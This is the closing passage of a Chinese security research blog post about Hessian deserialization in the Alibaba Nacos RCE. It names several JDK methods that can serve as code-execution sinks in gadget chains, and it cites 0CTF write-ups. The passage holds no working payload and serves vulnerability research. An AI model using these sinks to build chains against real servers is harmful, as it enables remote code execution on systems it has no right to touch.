另外还有几个方法,效果与上面分析的类似,就不一一列举分析

1
2
3
4
DumpBytecode.dumpBytecode + System.load   写入文件+System.load调用
com.sun.org.apache.xalan.internal.xslt.Process._main
sun.tools.jar.Main.main
System.setProperty + jdk.jfr.internal.Utils.writeGeneratedAsm openjdk

另外在分析Hessian链中,需要注意的问题是IDEA在调试时会自动调用toString方法打印字符串,而分析的链正是基于toString,提前调用会引发错误,解决方案是在设置中取消勾选红框选项

4、总结

纵观近两年出现风险较大的漏洞,常见的能够一发入魂、直接通往RCE的WEB漏洞肉眼可见的变少,随之替代的是各种协议问题、远程RPC方法调用、三方依赖包污染、框架底层函数问题等利用手法。安全技术5年一更新,近几年被HW带火的JAVA安全领域,国内的师傅几乎把能卷的产品/组件/框架都卷了个遍,像Weblogic/Struts2/Spring/Log4J/Apache/Xstream等大型框架/组件的漏洞破解,JDBC/内存马/利用回显/shell免杀等技术遍地开花。这让每个想入门JAVA安全的新手都能搜见如山的资料,只要愿意投入时间,多上手调代码,就能掌握好这些技术。

那么什么是安全技术的核心?什么样的安全技术,能持续3-5年甚至10年?这些安全技术能给企业带来什么保障?

归纳总结、触类旁通,大胆假设,小心求证~

5、参考

https://nacos.io/zh-cn/docs/v2/upgrading/2.0.0-compatibility.html

https://github.com/waderwu/My-CTF-Challenges/tree/master/0ctf-2022/hessian-onlyJdk/writeup

https://l1nyz-tel.cc/2023/1/10/0ctf2022-hessian-onlyjdk/

http://miku233.viewofthai.link/2022/10/13/0ctf-hessian-onlyjdk/

https://guokeya.github.io/post/psaIZKtC4/


从Ali-Nacos-RCE漏洞看RPC-Hessian协议安全
https://pwnull.github.io/2023/from-Ali-Nacos-RCE-to-RPC-Hessian-protocol-security/
作者
pwnull
发布于
2023年6月15日
许可协议